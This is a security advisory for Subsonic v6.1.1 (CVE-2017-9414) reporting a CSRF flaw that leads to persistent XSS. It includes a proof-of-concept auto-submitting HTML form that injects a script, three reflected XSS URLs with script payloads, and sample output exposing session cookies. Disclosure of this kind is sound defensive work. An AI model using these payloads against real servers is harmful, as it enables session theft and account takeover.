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96 lines
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2.4 KiB
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[+] Credits: John Page a.k.a hyp3rlinx
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[+] Website: hyp3rlinx.altervista.org
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[+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-PERSISTENT-XSS.txt
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[+] ISR: ApparitionSec
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Vendor:
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================
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www.subsonic.org
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Product:
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===============
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subsonic v6.1.1
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Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.
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Vulnerability Type:
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======================
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CSRF - Persistent XSS
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CVE Reference:
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==============
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CVE-2017-9414
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Security Issue:
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================
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Remote attackers can abuse the Subscribe to Podcast feature of subsonic to store persistent XSS payloads
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if an authenticated user clicks a malicious link or visits an attacker controlled webpage.
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Exploit/POC:
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=============
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<form action="http://localhost:4040/playerSettings.view" method="post">
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<input name="playerId" type="hidden" value="1">
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<input name="name" type="text" value="<script>alert('XSS ' +document.cookie)</script>">
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<script>document.forms[0].submit()</script>
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</form>
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Then visit http://localhost:4040/index.view
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HTTP Response:
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XSS JSESSIONID=1n631ex230ljs; player-61646d696e=1; DWRSESSIONID=!hqFsK!BCyup7gBQU8spRLvw0tBacefl9Nl
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Misc Reflected:
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XSS 1
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http://localhost:4040/avatar.view?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
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XSS 2
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http://localhost:4040//userChart.view?type=%3Cscript%3Ealert(document.cookie)%3C/script%3E
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XSS 3
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http://localhost:4040/coverArt.view?size=%3Cscript%3Ealert(123)%3C/script%3E
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Network Access:
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===============
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Remote
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Severity:
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=========
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High
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Disclosure Timeline:
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==================================
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Vendor Notification: May 29, 2017
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Vendor Acknowledgement: May 30, 2017
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June 4, 2017 : Public Disclosure
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[+] Disclaimer
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The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
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that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
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is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
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for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
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or exploits by the author or elsewhere. All content (c).
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hyp3rlinx |